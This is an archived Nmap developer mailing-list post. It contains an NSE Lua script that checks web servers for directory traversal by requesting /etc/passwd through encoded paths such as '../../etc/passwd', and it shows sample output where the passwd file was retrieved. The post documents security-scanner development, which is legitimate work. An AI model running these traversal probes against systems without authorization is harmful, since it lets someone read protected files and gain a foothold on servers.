Nmap Development mailing list archives

Re: [NSE Script] HTTP probe for /etc/passwd


From: Kris Katterjohn <katterjohn () gmail com>
Date: Sun, 22 Jul 2007 13:31:51 -0500

Fyodor wrote:
On Sat, Jul 21, 2007 at 06:15:03PM +0000, Brandon Enright wrote:
80/tcp   open   http
|  HTTP /etc/passwd probe: root::0:0:root:/root:/bin/bash
|  bin:*:1:1:bin:/bin:/sbin/nologin
|  daemon:*:2:2:daemon:/sbin:/sbin/nologin
|  adm:*:3:4:adm:/var/adm:/sbin/nologin
|  lp:*:4:7:lp:/var/spool/lpd:/sbin/nologin
|  sync:*:5:0:sync:/sbin:/bin/sync

Looks promising.  I think we should print the URL which ended up
working against the server.  That would also allow for more zealous
cropping of the password file itself.  Like maybe we chould show just
the first 15 lines unless we are in debug mode.  It is important that
we don't overwelm the user.

Thanks for doing so much testing.  Its great that this already helped
you find one vulnerable system.

fingerprint are all the odd HTTP servers we have running around here.  Your
portrule looks for 80, 8000, or "http".  If we have some strange HTTP
server running on 1234 this script wont run.

Well it should still run as long as version detection is used.  And I
would in general strongly recommend version detection be used whenever
-sC is.  The -A option includes both.

Cheers,
-F


Okay, I attached another one.

This time it prints the directory it used to find it (e.g. //etc/passwd or ../../../etc/passwd), and then prints the first 250 bytes of it. I also changed it to use Brandon's match line (thanks again).

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
|  HTTP directory traversal passwd probe: Found with "//etc/passwd"
|  Printing first 250 bytes:
|  root:x:0:0:root:/root:/bin/bash
|  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|  bin:x:2:2:bin:/bin:/bin/sh
|  sys:x:3:3:sys:/dev:/bin/sh
|  sync:x:4:65534:sync:/bin:/bin/sync
|  games:x:5:60:games:/usr/games:/bin/sh
|  man:x:6:12:man:/var/cache/man:/bin/sh
|_ lp:x:7:7:lp:/va


I changed quite a bit of it (again) to make it less clunky in action().


I have noticed, though, that when NSE prints the output, it doesn't take into account a newline at the beginning of the output, or print multiple ones with something like "\n\n". That's why it's starts on the same line as the name, and it's all together like it is. That's not intentional, is it?

Thanks,
Kris Katterjohn
-- HTTP probe for /etc/passwd
-- 07/20/2007

-- Started with Thomas Buchanan's HTTPAuth.nse as a base
-- Applied some great suggestions from Brandon Enright, thanks a lot man!

id = "HTTP directory traversal passwd probe"

description = "Probe for /etc/passwd if server is susceptible to directory traversal"

author = "Kris Katterjohn <katterjohn () gmail com>"

license = "Look at Nmap's COPYING"

categories = {"intrusive"}

require "shortport"

-- Check for a valid HTTP return code, and check
-- the supposed passwd file for validity
validate = function(response)
        local passwd
        local line
        local start, stop

        -- Hopefully checking for only 200 won't bite me in the ass, but
        -- it's the only one that makes sense and I haven't seen it fail
        if string.match(response, "HTTP/1.[01] 200") then
                start, stop = string.find(response, "\r\n\r\n")
                passwd = string.sub(response, stop+1)
        else
                return
        end

        start, stop = string.find(passwd, "[\r\n]")
        line = string.sub(passwd, 1, stop)

        if string.match(line, "^[^:]+:[^:]*:[0-9]+:[0-9]+:") then
                return passwd
        end

        return
end

-- Connects to host:port, send cmd, and returns the (hopefully valid) response
talk = function(host, port, cmd)
        local socket
        local response

        socket = nmap.new_socket()

        socket:connect(host.ip, port.number)

        socket:send(cmd)

        response = ""

        while true do
                local status, lines = socket:receive_lines(1)

                if not status then
                        break
                end

                response = response .. lines
        end

        socket:close()

        return validate(response)
end

httpget = function(str)
        return "GET " .. str .. " HTTP/1.0\r\n\r\n"
end

hexify = function(str)
        local ret
        ret = string.gsub(str, "%.", "%%2E")
        ret = string.gsub(ret, "/", "%%2F")
        ret = string.gsub(ret, "\\", "%%5C")
        return ret
end

-- Returns truncated passwd file and returned length
truncatePasswd = function(passwd)
        local len = 250
        return string.sub(passwd, 1, len), len
end

output = function(passwd, dir)
        local trunc, len = truncatePasswd(passwd)
        local out = ""
        out = out .. "Found with \"" .. dir .. "\"\n"
        out = out .. "Printing first " .. len .. " bytes:\n"
        out = out .. trunc
        return out
end

portrule = shortport.port_or_service({80, 8080}, "http")

action = function(host, port)
        local cmd, response
        local dir

        dir = "//etc/passwd"
        cmd = httpget(hexify(dir))

        response = talk(host, port, cmd)

        if response then
                return output(response, dir)
        end

        dir = string.rep("../", 10) .. "etc/passwd"
        cmd = httpget(hexify(dir))

        response = talk(host, port, cmd)

        if response then
                return output(response, dir)
        end

        dir = "." .. string.rep("../", 10) .. "etc/passwd"
        cmd = httpget(hexify(dir))

        response = talk(host, port, cmd)

        if response then
                return output(response, dir)
        end

        dir = string.rep("..\\/", 10) .. "etc\\/passwd"
        cmd = httpget(hexify(dir))

        response = talk(host, port, cmd)

        if response then
                return output(response, dir)
        end

        dir = string.rep("..\\", 10) .. "etc\\passwd"
        cmd = httpget(hexify(dir))

        response = talk(host, port, cmd)

        if response then
                return output(response, dir)
        end

        return
end


_______________________________________________
Sent through the nmap-dev mailing list
http://cgi.insecure.org/mailman/listinfo/nmap-dev
Archived at http://SecLists.Org

Current thread: